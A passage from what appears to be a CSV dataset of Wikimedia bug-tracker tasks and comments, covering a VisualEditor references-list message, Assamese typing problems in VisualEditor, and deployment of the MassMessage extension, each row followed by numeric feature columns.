+* either the user is presented with the input field already pre-filled with the default value as specified inside the TemplateData description - this would improve usability
+* or, if this pre-population of the input field is too complex/costly to achieve, at least the information about the ""default"" value is taken and highlighted using the corresponding ""default"" attribute from the parameter description.
+
+You can test this on it.wiki, by trying editing a new article using VE and adding the template named ""Azienda"", whose ""logo_dimensioni"" parameter has been defined in JSON with ""default"":""200"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1376324640,1394072873.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ejfpqmqzgmehdhmxzmty,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+54736,Show a message explaining how to edit references when user selects a references list,"Reports such as https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=568123469#I_can.27t_edit_the_references suggest that the references list being present but not editable is causing confusion for editors.
+
+It would therefore be helpful for VE to display a message (popup? tooltip?) whne the reference list is selected that explains how to edit references. The text of this message should be set on a MediaWiki namespace page.
+
+I don't have a suggested default wording at present.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52750",Medium,50.0,1376257440,1724164016.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xffvpozuzkjhhlysn3cs,task_description,invalid,True,c1,3,False,False,False,5,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+2399131,Show a message explaining how to edit references when user selects a references list,No longer needed after {T54750} made the referenced editable inside the references list.,,,1724164016,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,True,,,581,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0
+1231860,Show a message explaining how to edit references when user selects a references list,I'm suggesting that task for the Hackathon 2019 since it is something that would ease newcomers' lives. ,,,1551084196,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,295,,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+693783,Show a message explaining how to edit references when user selects a references list,[[https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Questions_techniques/semaine_28_2016#Impossibilt.C3.A9_d.27apporter_des_corrections_dans_les_sections_Notes_et_r.C3.A9f.C3.A9rences|New feedback from a user]] (a beginner) who wants to change a reference rom the reflist while editing with VE. ,,,1468426304,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,158,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+252379,Show a message explaining how to edit references when user selects a references list,"This would be most helpful if the backlinks took you to the position of reference while remaining in edit mode.
+
+Suggestion for the message from en.wp user Looie496:
+ ""This list of references is automatically generated and cannot be edited directly. If you would like to change the content of a reference, click on its number where it appears in the body of the article.""",,,1376323680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+252374,Show a message explaining how to edit references when user selects a references list,"If implemented, bug 52750 would make this request either unnecessary or applicable only as an interim measure. In the latter case there wouldn't be any need for the message requested here to be editable on-wiki.",,,1376315524,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54726,VisualEditor: Typing problem in Assamese,"**Author:** `gitartha.bordoloi`
+
+**Description:**
+Hello,
+Visual editor was deployed as an opt-in editing tool in Assamese wikipedia about 2 months ago. However it seems the tool doesn't support Assamese script well. While writing with some tools reproduces only vowels or consonants, the in-built keyboards do not work at all. Kindly look into this matter urgently before it is released as default editing tool. The discussions can be found here: http://as.wikipedia.org/wiki/%E0%A7%B1%E0%A6%BF%E0%A6%95%E0%A6%BF%E0%A6%AA%E0%A6%BF%E0%A6%A1%E0%A6%BF%E0%A6%AF%E0%A6%BC%E0%A6%BE_%E0%A6%AC%E0%A6%BE%E0%A7%B0%E0%A7%8D%E0%A6%A4%E0%A6%BE:%E0%A6%AD%E0%A6%BF%E0%A6%9C%E0%A7%81%E0%A7%B1%E0%A7%87%E0%A6%B2_%E0%A6%8F%E0%A6%A1%E0%A6%BF%E0%A6%9F%E0%A7%B0
+
+Thank you.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1376210460,1644959034.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ltfnf6nk2htfdban76pc,task_description,resolved,True,c1,3,False,False,False,5,,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+1865103,VisualEditor: Typing problem in Assamese,No replies. Assuming this has been resolved as I can neither reproduce with Assamese input methods provided by UniversalLanguageSelector nor with Assmese input methods offered by my operating system when using VisualEditor.,,,1644959034,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,450,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+447269,VisualEditor: Typing problem in Assamese,"Could somebody please answer if what's left to do in this ticket ""just"" a dup of {T51569}, or is there more to do (if so, what?)",,,1429647219,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,94,,0,1,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0
+429070,VisualEditor: Typing problem in Assamese,"Is what is left to do in this ticket ""just"" a duplicate of {T51569}? 
+Or is there more to do (if so, what?)",,,1426772092,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,89,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0
+421358,VisualEditor: Typing problem in Assamese,"Is what is left to do in this ticket ""just"" a duplicate of {T51569}? 
+Or is there more to do (if so, what?)",,,1425554546,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,87,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0
+421357,VisualEditor: Typing problem in Assamese,"(In reply to comment #11)
+> NONE of the 6 in-built keyboards are working as of today.
+
+I wonder if this is the same as T60662 comment 5 which is marked as a duplicate of T51569...",,,1425554489,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,87,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+251799,VisualEditor: Typing problem in Assamese,"(In reply to comment #11)
+> NONE of the 6 in-built keyboards are working as of today.
+
+I wonder if this is the same as bug 58662 comment 5 which is marked as a duplicate of bug 49569...",,,1389025768,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,27,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+251789,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:
+
+Hello developers,
+I'm regularly checking the visual editor in Assamese wikipedia and now it supports the ""external keyboards"" nicely. There is no problem with rendering of Assamese characters as I reported earlier. However NONE of the 6 in-built keyboards are working as of today. Trying to write something with those keyboards render only Roman characters. I reported the same problem in last August also. Here is a link to my sandbox page in Assamese wikipedia where I've tested the visualeditor with different keyboards. 
+https://as.wikipedia.org/wiki/user:Gitartha.bordoloi/visualeditor_test
+
+I've tested it on Mozilla Firefox 26 and Google chrome 30 (windows 7 pc). I'll be glad to hear about any new developments. Thanks.",,,1389023971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,27,,1,1,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+251781,VisualEditor: Typing problem in Assamese,"(In reply to comment #8)
+> I tested it in Assamese wikipedia because on 5th September it was mentioned
+> that ""please re-open if you find that it is still happening after tomorrow
+> (when the code will go live on the Assamese Wikipedia)"". I tested it in
+> mediawiki today and found some problems. I'll wait until Thursday and test it
+> in aswiki again. Thank you.
+
+Would it be possible to test against current master? You can use this at http://en.wikipedia.beta.wmflabs.org/ - we believe that we may have fixed the issues (or, at least, changed the behaviour) since you tested it.
+
+Thank you!",,,1381269409,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,1,1
+251775,VisualEditor: Typing problem in Assamese,"Hello Gitartha, could you also please add some screenshots if you find any problems after your next test? Thanks.",,,1379515454,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+251769,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:
+
+I tested it in Assamese wikipedia because on 5th September it was mentioned that ""please re-open if you find that it is still happening after tomorrow (when the code will go live on the Assamese Wikipedia)"". I tested it in mediawiki today and found some problems. I'll wait until Thursday and test it in aswiki again. Thank you.",,,1379403525,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+251764,VisualEditor: Typing problem in Assamese,"(In reply to comment #6)
+> Hello. I'm reopening the bug as the problems mentioned earlier are still
+> there. Nothing has changed.
+
+Which wiki did you test? The changes only went out to MediaWiki.org last Thursday, 12 September (so you can test these at https://mediawiki.org/wiki/VisualEditor:Test or similar) - they will not be released to the Assamese Wikipedia until this Thursday, 19 September.",,,1379346325,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1
+251759,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:
+
+Hello. I'm reopening the bug as the problems mentioned earlier are still there. Nothing has changed.",,,1379327158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+251753,VisualEditor: Typing problem in Assamese,Going to provisionally mark this as fixed - please re-open if you find that it is still happening after tomorrow (when the code will go live on the Assamese Wikipedia).,,,1378341679,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+251748,VisualEditor: Typing problem in Assamese,I think https://gerrit.wikimedia.org/r/#/c/80080/ may have solved this - let us know!,,,1377353858,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0
+251743,VisualEditor: Typing problem in Assamese,"Hello, Thanks for reporting this. We are currently working to resolve the several issues around using Indic language scripts on the VisualEditor and we expect to resolve them soon. The problem reported in the current bug is also known and exists in other Indic scripts as well.  More discussion about this topic can also be found on bug #49569 . Thanks.",,,1376926685,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+251737,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:
+
+(In reply to comment #1)
+> Thanks for taking the time to report this!
+> 
+> (In reply to comment #0)
+> > doesn't support Assamese script well
+> > While writing with some tools
+> > in-built keyboards do not work at all
+> 
+> Can you please provide more information / exact steps to reproduce the
+> problems, plus information about browser and version? Also, what are ""some
+> tools"" exactly?
+> Also see https://www.mediawiki.org/wiki/How_to_report_a_bug . Thanks!
+
+Thanks for pointing out the problems with the report.
+
+* I have tested it in Mozilla Firefox 22 and Google chrome 23.
+* There are currently 6 input layouts for Assamese under ULS. While trying to write Assamese in visualeditor with any one of them, NO Assamese character comes out.
+* 'Some tools' refer various Assamese writing tools like to Rodali, Baraha, Azhagi+, Avro barnana etc.
+
+With Rodali, there seems to be problems with vowels like  ী (ঈ), ূ (ঊ), ৌ (ঔ). So while trying to write 'অসমীয়া', it becomes 'অসীয়া'. 'মূহুৰ্ত' becomes ' ূহুৰ্ত', 'কৌটি' becomes ' ৌটি' etc.
+
+with Azhagi+, the problem is more. Only the last vowel character of a word is shown in visualeditor. So 'অসমীয়া' becomes 'া'.
+
+With Baraha, the problem is again with vowel characters like ঐ and ঔ. So 'সৈমান' becomes ' ৈমান'.
+
+Similar problems exists with Avro.",,,1376765523,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+251728,VisualEditor: Typing problem in Assamese,"Thanks for taking the time to report this!
+
+(In reply to comment #0)
+> doesn't support Assamese script well
+> While writing with some tools
+> in-built keyboards do not work at all
+
+Can you please provide more information / exact steps to reproduce the problems, plus information about browser and version? Also, what are ""some tools"" exactly?
+Also see https://www.mediawiki.org/wiki/How_to_report_a_bug . Thanks!",,,1376388861,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,6,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1
+54723,Review and deploy MassMessage extension to Wikimedia wikis,"MassMessage is an extension that allows a user to send a message to a list of pages through a special page and the job queue. It is intended to replace [[m:Global message delivery]].
+
+More details are available at [[mw:Extension:MassMessage]], and there is a test instance at http://legoktm.instance-proxy.wmflabs.org/wiki/Main_Page
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**URL**: https://www.mediawiki.org/wiki/Extension:MassMessage",Medium,50.0,1376204700,1384889083.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-ymnidmb2ap2g4se52stx,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+251556,Review and deploy MassMessage extension to Wikimedia wikis,"Change 91344 had a related patch set uploaded by MZMcBride:
+Enable MassMessage on all wikis
+
+https://gerrit.wikimedia.org/r/91344",,,1382635706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251551,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #59)
+> Lego: can you please submit a changeset to enable MassMessage on all (public)
+> Wikimedia wikis?
+
+I submitted https://gerrit.wikimedia.org/r/#/c/91344/ a few days ago.",,,1382632875,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+251545,Review and deploy MassMessage extension to Wikimedia wikis,Lego: can you please submit a changeset to enable MassMessage on all (public) Wikimedia wikis?,,,1382632099,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+251538,Review and deploy MassMessage extension to Wikimedia wikis,"I've been working with Aaron via email on the architecture review and I believe everything has been resolved (cc'd Aaron to get confirmation on that).
+
+(In reply to comment #57)
+> All of the blocking bugs have been resolved. What happens now? (Greg?)
+
+Thanks for merging :). I just added bug 55822 which is a config change for how the jobs will get processed, it would be good to get that deployed and make sure there are no issues before the full deployment.",,,1381975397,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,15,,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+251530,Review and deploy MassMessage extension to Wikimedia wikis,All of the blocking bugs have been resolved. What happens now? (Greg?),,,1381932420,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,15,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+251523,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #54)
+> One more thing - we'll need to add standard licensing/ToS language to the
+> submit screen to ensure content is licensed consistent with Wikimedia
+> requirements. The wikimedia-copyrightwarning message in the WikimediaMessages
+> extension should do the trick.
+
+(The relevant function is EditPage::getCopyrightWarning(), the messages shouldn't be used directly.)",,,1380916155,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+251517,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #53)
+> I have a quick question about the extension itself. Maybe I'm reading this
+> code
+> wrong, but the extension appears to iterate through the recipients on the
+> special page, and then make a new job for each recipient. If this is true,
+> that
+> means that this extension would be launching thousands of jobs from a single
+> web request. It kind of defeats the purpose of the job queue in the first
+> place.
+
+Yes, that's correct. I'm not sure how it defeats the purpose of the job queue though. We could do it like refreshlinks works and submit a job that submits more jobs, but I don't see how that would be any better. I did a simple test on testwiki a week ago and submitted 2k jobs at once and it seemed to work fine.
+
+> 
+> Also, do people have some sort of irrational fear of the FormSpecialPage
+> class?
+
+I actually didn't know that existed until now. I basically forked the code of TranslationNotifications and used that...",,,1380906728,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+251511,Review and deploy MassMessage extension to Wikimedia wikis,One more thing - we'll need to add standard licensing/ToS language to the submit screen to ensure content is licensed consistent with Wikimedia requirements. The wikimedia-copyrightwarning message in the WikimediaMessages extension should do the trick.,,,1380906422,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
